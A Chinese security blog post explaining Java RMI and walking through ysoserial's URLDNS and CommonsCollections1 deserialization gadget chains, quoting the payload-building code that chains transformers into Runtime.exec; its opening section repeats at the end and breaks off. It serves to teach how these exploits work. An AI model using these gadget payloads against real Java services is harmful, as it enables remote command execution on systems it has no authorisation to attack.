初始JavaWeb安全(3)
Ebounce
撰写于 2020年 05月 22 日

初始JavaWeb安全(3)

前言

前面两篇文章,我们大致理解了Java的反射机制,以及其在安全方面的应用,这次我们来说说RMI,即远程方法调用。个人理解是和RCE(远程代码执行)类似,只是一般语言执行的是代码,而在Java万物皆类的思想中,我们只能执行类中的方法,而非代码,所以可以看成Java中的特殊RCE
<!--more-->

基础理解

一个简单实例

首先我们自然需要编写一个简单的RMI,来看看这个玩意儿到底怎么用,因此下面是例程:

服务器开启RMI服务:

import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

class RMIFunc {
    public interface IRSayHello extends Remote{
        public String Say() throws RemoteException;
    }
    //首先定义一个远程接口,远程接口中含有可调用的指定方法
    public class RemoteSayHello extends UnicastRemoteObject implements IRSayHello{
        protected RemoteSayHello() throws RemoteException{ }
        //这个方法可以用于初始化操作
        public String Say() throws RemoteException{
            System.out.println("already called");
            return "Hello me from another side";
        }
        //实现刚刚指定的Say方法
    }
    //然后实现这个接口
    public void start() throws Exception{
        RemoteSayHello say = new RemoteSayHello();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/say",say);
        /*
        这里还可以写成
        Registry registry = LocateRegistry.getRegistry();
        registry.bind("Say",say);
        */
    }
    //再定义一个开启RMI的方法,这个方法也可以直接搬到main中
}
public class RMIserver{
    public static void main(String[] args) throws Exception {
        new RMIFunc().start();
    }
}

客户端进行远程调用:

import java.rmi.Naming;

public class RMIclient {
    public static void main(String[] args) throws Exception {
        RMIFunc.IRSayHello sayHello = (RMIFunc.IRSayHello) Naming.lookup("rmi://192.168.101.125:1099/say");
        /*
        这里还可以写成
        Registry registry = LocateRegistry.getRegistry("localhost");
        如果不在本地就是上面rmi的写法了
        RMIFunc.IRSayHello sayHello = (RMIFunc.IRSayHello) registry.lookup("Say");
        */
        String result = sayHello.Say();
        System.out.println(result);
    }
}

wireshark抓包分析

监听本地网卡,通过客户端的ip筛选出RMI的本地流量包,下图为一个完整的通信流量包:

我们可以看出在一次RMI通信过程中,共进行了两次TCP连接,一次是端口1099-40986端口的通信,还有一次是两个不同的ip地址之间的通信为127.0.0.1-127.0.1.1

1099-40986端口的通信中,首先我们与1099端口建立连接,随后我们准备调用远端的Say方法(JRMI,CALL),远端经过调用之后将执行的结果返回(JRMI, ReturnData),我们可以看一下返回的结果包,如下:

0000   00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010   01 6b 5f f9 40 00 40 06 8d 48 c0 a8 65 7d c0 a8   .k_ù@.@..HÀ¨e}À¨
0020   65 7d 04 4b a0 1a 02 09 ab 3f 7f f6 14 c2 80 18   e}.K ...«?.ö.Â..
0030   02 00 4d a9 00 00 01 01 08 0a 79 02 56 fc 79 02   ..M©......y.Vüy.
0040   56 fc 51 ac ed 00 05 77 0f 01 0d 36 2a 14 00 00   VüQ¬í..w...6*...
0050   01 71 82 26 a0 4f 80 0e 73 7d 00 00 00 02 00 0f   .q.& O..s}......
0060   6a 61 76 61 2e 72 6d 69 2e 52 65 6d 6f 74 65 00   java.rmi.Remote.
0070   12 52 4d 49 46 75 6e 63 24 49 52 53 61 79 48 65   .RMIFunc$IRSayHe
0080   6c 6c 6f 70 78 72 00 17 6a 61 76 61 2e 6c 61 6e   llopxr..java.lan
0090   67 2e 72 65 66 6c 65 63 74 2e 50 72 6f 78 79 e1   g.reflect.Proxyá
00a0   27 da 20 cc 10 43 cb 02 00 01 4c 00 01 68 74 00   'Ú Ì.CË...L..ht.
00b0   25 4c 6a 61 76 61 2f 6c 61 6e 67 2f 72 65 66 6c   %Ljava/lang/refl
00c0   65 63 74 2f 49 6e 76 6f 63 61 74 69 6f 6e 48 61   ect/InvocationHa
00d0   6e 64 6c 65 72 3b 70 78 70 73 72 00 2d 6a 61 76   ndler;pxpsr.-jav
00e0   61 2e 72 6d 69 2e 73 65 72 76 65 72 2e 52 65 6d   a.rmi.server.Rem
00f0   6f 74 65 4f 62 6a 65 63 74 49 6e 76 6f 63 61 74   oteObjectInvocat
0100   69 6f 6e 48 61 6e 64 6c 65 72 00 00 00 00 00 00   ionHandler......
0110   00 02 02 00 00 70 78 72 00 1c 6a 61 76 61 2e 72   .....pxr..java.r
0120   6d 69 2e 73 65 72 76 65 72 2e 52 65 6d 6f 74 65   mi.server.Remote
0130   4f 62 6a 65 63 74 d3 61 b4 91 0c 61 33 1e 03 00   ObjectÓa´..a3...
0140   00 70 78 70 77 32 00 0a 55 6e 69 63 61 73 74 52   .pxpw2..UnicastR
0150   65 66 00 09 31 32 37 2e 30 2e 31 2e 31 00 00 ad   ef..127.0.1.1...
0160   7f 5e 81 8c 7b cd 7e 9d 30 0d 36 2a 14 00 00 01   .^..{Í~.0.6*....
0170   71 82 26 a0 4f 80 01 01 78                        q.& O...x

返回的数据包中,携带了Java的很多信息,其中包含了返回的ip地址,以及端口号(返回数据之后的数据包紧接着就是127.0.0.1与127.0.1.1之间的通信),端口号位于:

前面的就是ip地址127.0.1.1了,也就是我们客户端的地址,实际上这段数据包从开头的\xac\xed就是Java序列化的数据了,其中ip地址也只是相应的对象而已。

根据数据包和代码,我们可以大致推测出整个RMI的通信过程:

首先客户端连接服务器创建的Registry,连接完成以后根据RMI当时定义好的Name去寻找,找到了对应的Name="say"对象之后,返回一个序列化该对象的数据包,根据序列化的内容,建立TCP连接之后发送到客户端127.0.1.1,然后客户端反序列化这个对象,还原对应的类,从而我们才能在代码中调用Say()方法,最后获得对应内容。图示为:


慢慢的Java序列化和反序列化的帷幕将会很快揭开

ysoserial-URLDNS

前段时间备案出了问题,所以博客一直没有更新,先发点存货...
既然提到Java反序列化,那么一个工具就不得不提了,正是这个工具打开了JAVA安全的大门,由于P神表示初学者学习的CommonsCollections 的利用链非常复杂,不适合新手学习,所以作为一个小白,我们从简单的入手,首先我们从gayhub上下载好,该工具,拖到idea里面下载好依赖后,查看今天我们要学习的一条利用链URLDNS

读读源码

首先来读读源码,同时我们注意到该链条,使用了java原生包,没有使用第三方依赖,这让问题变得简单起来。

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

代码整体非常简单,总的来说就是使用了一个哈希表,以URL对象为键值,将url字符串数据放在对应的键值里,配合注释看非常清晰。但我们想知道的是,这个触发反序列化的原理是什么,而这个利用链的用途在于进行一次DNS请求,因此猜测答案应该藏在hashmap里,并且注释也写明了由于hashCode被计算和缓存,触发了DNS请求,因此我们需要分析一下hashmap。还记得前文说过Java反序列化与其他语言反序列化不同的地方在于开发者可以参与反序列化的过程,通过的方式就是两个方法writeObjectreadObject,前者决定如何序列化,后者决定如何反序列化,因此反序列化的触发取决于readObject,我们来看看这个方法是怎么写的:

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
                ->这里进行了计算
            }
        }
    }

前面的大段代码几乎都是校验序列化数据的,而这一句(41行)进行了hashCode的计算,

putVal(hash(key), key, value, false, false);

我们从刚刚分析源码时,我们知道这里的key是可控的URL,因此可以推测是hash()函数导致了这次DNS请求的发生,跟进hash()函数

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

发现这里会判断key是否是null,不为空则会调用该对象的hashCode()方法进行hash值的计算,该对象由源码得到是一个java.net.URL类型的对象,查看该对象的hashCode()方法:

transient URLStreamHandler handler;
//......
public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

该方法会检查hashCode是否被标记为-1,如果是,则调用handler.hashCode(),并将目前的URL对象传给该函数,继续跟进得到(这里决定了hashCode是否会计算):

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

这里会通过传入的URL对象得到其对应的协议,地址等内容,我们知道一个DNS请求,实际上传递的是IP地址,因此跟进getHostAddress()方法:

    protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

这个方法实际上是获得我们创建的URL对象的主机名,然后利用getByName()方法,得到其Ip地址。最后这个方法会调用getAllByName()这个方法,通过多态最终返回这个函数:

    private static InetAddress[] getAllByName(String host, InetAddress reqAddr)
        throws UnknownHostException {

        if (host == null || host.length() == 0) {
            InetAddress[] ret = new InetAddress[1];
            ret[0] = impl.loopbackAddress();
            return ret;
        }

这里最终就会进行一次请求了,从而导致了反序列化到DNS请求的结果(想跟还可以继续跟,但是真的没有必要了2333)。总结一下,我们可以看见一条清晰的利用链。

最后发现和PHP反序列非常相似,PHP反序列化需要找到一条POP链,这里也是类似,只是我们需要根据readObject方法进行相应的检索。

有关利用

利用这条链条的方法也非常简单,我们只需要创建一个URL对象,并将URL对象的hashCode设置为-1,然后将它作为key传给hashMap就能够使用这个链条了。

ysoserial-CommonsCollections1分析

本地分析的版本为: jdk1.7.0_80

在学习前面的一个链条以后,我们大致理解了Java反序列化的过程,这次我们来分析一条能够执行系统命令的一个链条,这个链条据说非常复杂,为了方便起见以下简称为CC1链,试着自己分析了一下确实相当复杂....

第三方包

首先自然是先阅读引入的包了,这个链条与URLDNS包不同,引入了第三方包,如下:

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
//java原生包
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
//第三方包
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
//作者自己进行的封装包

首先我们需要知道这个Transformer包的具体作用是什么,我们可以将包下载到本地之后,阅读注释,简单了解一下作用,一会儿看看源码

Defines a functor interface implemented by classes that transform one
object into another.
A Transformer converts the input object to the output object.
The input object should be left unchanged.
Transformers are typically used for type conversions, or extracting data
from an object.

蹩脚翻译一下:

Transformer定义一个用于将一个对象转换成另一个对象的函数接口,这个函数会将某个输入对象转换为自定义的输出对象,Transformer主要用于类型转换和从一个对象中提取数据。

因此我们可以将这个函数当做一个对象的转换器,

ChainedTransformer 用于转换器的传递,输入对象将传递到第一个转换器。 转换后的结果传递到第二个转换器,依此类推

ConstantTransformer 用于将输入内容转换成一个常量

InvokerTransformer 用于将输入的内容通过反射调用,然后返回反射执行的结果,也可以理解成将输入转换为一个反射

LazyMap 用于装饰一个Map对象,根据需要在Map对象上创建相应对象,当使用Map对象中不存在的键调用该方法时,将使用工厂函数创建对象。 使用请求的键将创建的对象添加到Map对象中。

源码

作者很贴心的将利用链在注释中贴出:

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

    Requires:
        commons-collections
 */

尝试过正向分析,分析了一下觉得异常困难,因此索性倒着来,先看LazyMap.get()

protected final Transformer factory;   
public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

这里的factory就是Transformer类,而这个方法作用在于拿到Mapkey对应的值,如果key不存在则使用factory.transform(key)创建好该key对应的值,回头看看我们是如何构造的:

public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[]{command};
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{new ConstantTransformer(1)});
        // real chain for after setup
        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                String.class, Class[].class}, new Object[]{
                "getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{
                Object.class, Object[].class}, new Object[]{
                null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class}, execArgs),
            new ConstantTransformer(1)};
        ....
    }

这里使用了上面提到的几个转换器,我们分别看看源码:

ChainedTransformer:

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

这个转换器使用时会遍历iTransformers,并调用他们每个的transform也就是对应的转换器方法,

ConstantTransformer他是返回一个常数,

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }
    public Object getConstant() {
        return iConstant;
    }

}

这里相当于直接返回了我们传入的类。

主要在于InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
            //重点地方就是我们使用反射的一般流程    
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
/*
        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            ->得到Runtime这个类
            new InvokerTransformer("getMethod", new Class[]{
                String.class, Class[].class}, new Object[]{
                "getRuntime", new Class[0]}),
            -> 使用getMethod方法去找getRuntime方法
            new InvokerTransformer("invoke", new Class[]{
                Object.class, Object[].class}, new Object[]{
                null, new Object[0]}),
            -> 通过反射执行getRuntime()
            new InvokerTransformer("exec",
                new Class[]{String.class}, execArgs),
            -> 从getRuntime返回的结果中找到exec方法,最后传入参数执行exec
            new ConstantTransformer(1)};
            .....
            Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
            ->最后使用反射将transformerChain中的iTransformers设置成为刚刚构造好的transformers
            然后当transformerChain.transform执行时就会遍历这个转换器数组,构造出反射执行命令了
*/

这里非常明显了,如果我们有输入,这个转换器会尝试将输入转化成一个反射并执行,最后返回反射的结果,我们注意到这个InvokerTransformer的三个参数iMethodName方法名,iParamTypes参数类型,iArgs参数均可控,因此这个类能够直接拿来执行命令,我们只需要连续使用这个转换器,就能够实现反射执行命令的操作了,问题在于如何触发。

我们知道Java反序列化的触发是利用某个类的readObject方法触发的,这里工具作者给我们展示了这个类为AnnotationInvocationHandler.readObject(),翻阅源码Gadgets.java中指明了,这个类为sun.reflect.annotation.AnnotationInvocationHandler:

public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

实际上这个类是反序列化的起点,接下来我们来看看源码:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    private transient volatile Method[] memberMethods = null;
//构造方法↓
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }
//invoke方法↓
    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
/*
 * 注意构造函数的this.memberValues = var2 由于Map<String, Object> var2,所以这个memberValues是可控的
 * 同时LazyMap实际上是经过修饰的Map,所以这里同样可以传入LazyMap类型的参数
 * 最后这里调用的get函数就能够通过上面之前的分析进行命令执行了
*/
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
        ......
        //readObject方法↓
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();
        //根据调用链,我们知道触发点应该在这里,那么问题来了这个entrySet方法和本类的invoke有啥关联呢?
        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
}

从entrySet->invoke探究

通过查阅资料得到了,这里的是和Java的动态代理机制有关,而这个机制相关的类,是InvocationHandler,而AnnotationInvocationHandler继承自InvocationHandler类,我们先来了解一下这个类是干什么的,首先InvocationHandler是一个接口,他期待实现一个invoke方法:

/*
*Each proxy instance has an associated invocation handler.
 * When a method is invoked on a proxy instance, the method
 * invocation is encoded and dispatched to the 
 * method of its invocation handler.
 */
public interface InvocationHandler {
    public Object invoke(Object proxy, Method method, Object[] args)
        throws Throwable;
}
//proxy表示需要代理的对象,method表示调用代理对象的方法,args自然是调用对应方法的参数。

万能的谷歌翻译一下:

每个代理实例都有一个关联的调用处理程序。在代理实例上调用方法时,该方法调用被编码并调度到调用处理程序的方法。

也就是说每个代理的对象,在调用方法时,会被自动调度到这个类中执行。还记得Gadget链中的Map(Proxy).entrySet()吗?这里的Proxy实际上指的是动态代理机制的Proxy类,该类在java.lang.reflect中,一般常用该类的newPorxyInstance创建代理对象类。

public static Object newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)

这里我们只看参数(才不是因为源码看不懂),第一个参数loader看名字就知道这是拿来加载类的,它定义由哪个Classloader去加载代理对象,第二个参数interfaces的数组,这里主要是提供哪些接口给代理对象用,第三个h定义了究竟关联到哪个InvocationHandler对象上。

这个时候我们联系CC1链的源码:

/*
CC1源码
*/
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
//这里主要使用了Gadgets链中的两个方法
/*
Gadgets链中相关源码
*/
    public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }
//iface是Map类也就是将Map类中对应的接口传了过去
    public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
        //map为传入的LazyMap
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        //创建对应的代理类,这里大致意思是将LazyMap这个类,与AnnotationInvocationHandler这个类进行关联
    }

    public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[ 0 ] = iface;
        if ( ifaces.length > 0 ) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
    }
//这里开始创建代理对象了,第一个loader用的是默认的ClassLoader,第二个参数接口我们传入的Map.Class将Map的接口传了过去,最后的ih就是当我们调用Map中的方法时,会被调度到AnnotationInvocationHandler的invoke方法进行执行。

最后动态debug看看我们的分析正不正确:

因为最后都是使用createProxy这个函数,所以直接看它就行了,这样一来Map类中的方法,最后由于动态代理的机制就会执行到AnnotationInvocationHandler.invoke了。

梳理一下

最后我们配合生成payload源码梳理一下整个过程:

    public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[]{command};
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{new ConstantTransformer(1)});
        // real chain for after setup
        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{
                String.class, Class[].class}, new Object[]{
                "getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{
                Object.class, Object[].class}, new Object[]{
                null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class}, execArgs),
            new ConstantTransformer(1)};
        /*
         * 创建一个转换器数组,由于最后执行的chain转换器会将输入传给另一个转换器并返回结果,因此这里实际上是在
         * 构造反射执行的链条等价于java.lang.Runtime.getRuntime().exec(new String[]{执行命令})
        */
        final Map innerMap = new HashMap();
        //预备我们需要的Map对象
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //用LazyMap封装Map对象,并传递一个Transformer对象过去作为factory
        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
        /*
         * 将构造好的LazyMap对象传递给Gadgets.createMemoitizedProxy进行Proxy构造,这里
         * 将LazyMap作为了代理对象,将Map对象的接口作为了代理接口,最后在Gadgets中,将执行
         * 代理方法的工作关联给AnnotationInvocationHandler类,从而每次调用Map的方法时,都会
         * 调度到AnnotationInvocationHandler,利用该类的invoke进行方法的执行,而该类的invoke方法中
         * 使用.get方法,通过传入对象LazyMap.get方法会执行factory.transform(key),这里的factory被
         * 设置成为了ChainedTransformer,从而会执行ChainedTransformer.transform进行转换器的遍历。
        */
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 
        /*
        * 最后由于ChainedTransformer.transform遍历执行的是iTransformers中的内容,因此我们将
        * iTransformers设置成构造好的转换器数组,从而实现了命令的执行。
        */
        return handler;
    }

这个链条整体分析下来其实不难,主要是entrySetinvoke需要理解一下Java动态代理的机制,不过这也证明Java确实是一门强大的静态编译语言,提供给开发者的机制非常多。
参考文章:
ysoserial URLDNS, CommonsCollections1-7 分析+复现

初始JavaWeb安全(3)

初始JavaWeb安全(3)

前言

前面两篇文章,我们大致理解了Java的反射机制,以及其在安全方面的应用,这次我们来说说RMI,即远程方法调用。个人理解是和RCE(远程代码执行)类似,只是一般语言执行的是代码,而在Java万物皆类的思想中,我们只能执行类中的方法,而非代码,所以可以看成Java中的特殊RCE
<!--more-->

基础理解

一个简单实例

首先我们自然需要编写一个简单的RMI,来看看这个玩意儿到底怎么用,因此下面是例程:

服务器开启RMI服务:

import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

class RMIFunc {
    public interface IRSayHello extends Remote{
        public String Say() throws RemoteException;
    }
    //首先定义一个远程接口,远程接口中含有可调用的指定方法
    public class RemoteSayHello extends UnicastRemoteObject implements IRSayHello{
        protected RemoteSayHello() throws RemoteException{ }
        //这个方法可以用于初始化操作
        public String Say() throws RemoteException{
            System.out.println("already called");
            return "Hello me from another side";
        }
        //实现刚刚指定的Say方法
    }
    //然后实现这个接口
    public void start() throws Exception{
        RemoteSayHello say = new RemoteSayHello();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/say",say);
        /*
        这里还可以写成
        Registry registry = LocateRegistry.getRegistry();
        registry.bind("Say",say);
        */
    }
    //再定义一个开启RMI的方法,这个方法也可以直接搬到main中
}
public class RMIserver{
    public static void main(String[] args) throws Exception {
        new RMIFunc().start();
    }
}

客户端进行远程调用:

import java.rmi.Naming;

public class RMIclient {
    public static void main(String[] args) throws Exception {
        RMIFunc.IRSayHello sayHello = (RMIFunc.IRSayHello) Naming.lookup("rmi://192.168.101.125:1099/say");
        /*
        这里还可以写成
        Registry registry = LocateRegistry.getRegistry("localhost");
        如果不在本地就是上面rmi的写法了
        RMIFunc.IRSayHello sayHello = (RMIFunc.IRSayHello) registry.lookup("Say");
        */
        String result = sayHello.Say();
        System.out.println(result);
    }
}

wireshark抓包分析

监听本地网卡,通过客户端的ip筛选出RMI的本地流量包,下图为一个完整的通信流量包:

我们可以看出在一次RMI通信过程中,共进行了两次TCP连接,一次是端口1099-40986端口的通信,还有一次是两个不同的ip地址之间的通信为127.0.0.1-127.0.1.1

1099-40986端口的通信中,首先我们与1099端口建立连接,随后我们准备调用远端的Say方法(JRMI,CALL),远端经过调用之后将执行的结果返回(JRMI, ReturnData),我们可以看一下返回的结果包,如下:

0000   00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00   ..............E.
0010   01 6b 5f f9 40 00 40 06 8d 48 c0 a8 65 7d c0 a8   .k_ù@.@..HÀ¨e}À¨
0020   65 7d 04 4b a0 1a 02 09 ab 3f 7f f6 14 c2 80 18   e}.K ...«?.ö.Â..
0030   02 00 4d a9 00 00 01 01 08 0a 79 02 56 fc 79 02   ..M©......y.Vüy.
0040   56 fc 51 ac ed 00 05 77 0f 01 0d 36 2a 14 00 00   VüQ¬í..w...6*...
